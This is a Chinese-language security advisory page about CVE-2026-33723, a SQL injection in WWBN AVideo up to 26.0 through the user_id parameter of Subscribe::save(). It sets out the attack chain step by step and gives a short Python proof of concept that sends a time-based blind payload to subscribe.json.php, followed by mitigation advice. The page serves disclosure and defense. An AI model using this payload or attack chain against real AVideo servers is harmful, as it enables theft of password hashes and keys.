IPBUF安全漏洞报告
English
CVE-2026-33723 CVSS 7.1 高危

CVE-2026-33723 AVideo SQL注入漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-33723
漏洞类型
SQL注入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

SQL注入CVE-2026-33723WWBN AVideoWeb安全数据泄露

漏洞概述

WWBN AVideo 26.0及以下版本存在SQL注入漏洞。由于`Subscribe::save()`方法未对`user_id`参数进行过滤,低权限攻击者可注入恶意SQL语句,无需交互即可窃取数据库敏感数据,包括密码哈希和密钥。

技术细节

该漏洞位于`objects/subscribe.php`文件的`Subscribe::save()`方法中。代码直接将`$_POST['user_id']`的值赋给`$this->users_id`并拼接到INSERT SQL查询语句中,未进行任何清理或参数化绑定。攻击者可利用`subscribe.json.php`或`subscribeNotify.json.php`接口,在经过身份验证的情况下提交恶意构造的`user_id`参数,从而注入任意SQL命令。这允许攻击者从数据库的任何表中提取敏感数据,如用户密码哈希、API密钥和加密盐。

攻击链分析

STEP 1
1. 获取访问权限
攻击者注册或获取一个低权限账户,完成身份验证以获取有效的会话Cookie。
STEP 2
2. 识别注入点
分析`subscribe.json.php`或`subscribeNotify.json.php`接口,确定`user_id`参数未经过滤直接传递给后端SQL查询。
STEP 3
3. 构造恶意Payload
利用SQL语法构造包含注入语句的`user_id`值(例如使用UNION SELECT或基于时间的盲注语句)。
STEP 4
4. 执行攻击
发送包含恶意Payload的POST请求,服务器执行注入的SQL语句,返回敏感数据或导致数据库响应延迟。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (example) target_url = "http://localhost/subscribe.json.php" # Attacker's session cookie (authentication required) session_cookie = {"PHPSESSID": "attacker_session_id"} # Malicious payload to test SQL Injection (Time-based) # The vulnerability is in the INSERT query via user_id payload = "1' OR SLEEP(5)-- -" data = { "user_id": payload } try: response = requests.post(target_url, data=data, cookies=session_cookie) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection triggered time delay.") else: print("[-] Vulnerability not triggered or patched.") except Exception as e: print(f"Error: {e}")

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
如果无法立即升级,建议在WAF(Web应用防火墙)中部署规则,拦截针对`subscribe.json.php`和`subscribeNotify.json.php`的异常POST请求,特别是包含SQL关键字的`user_id`参数。同时,严格限制数据库用户的权限,避免使用高权限账号连接数据库。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表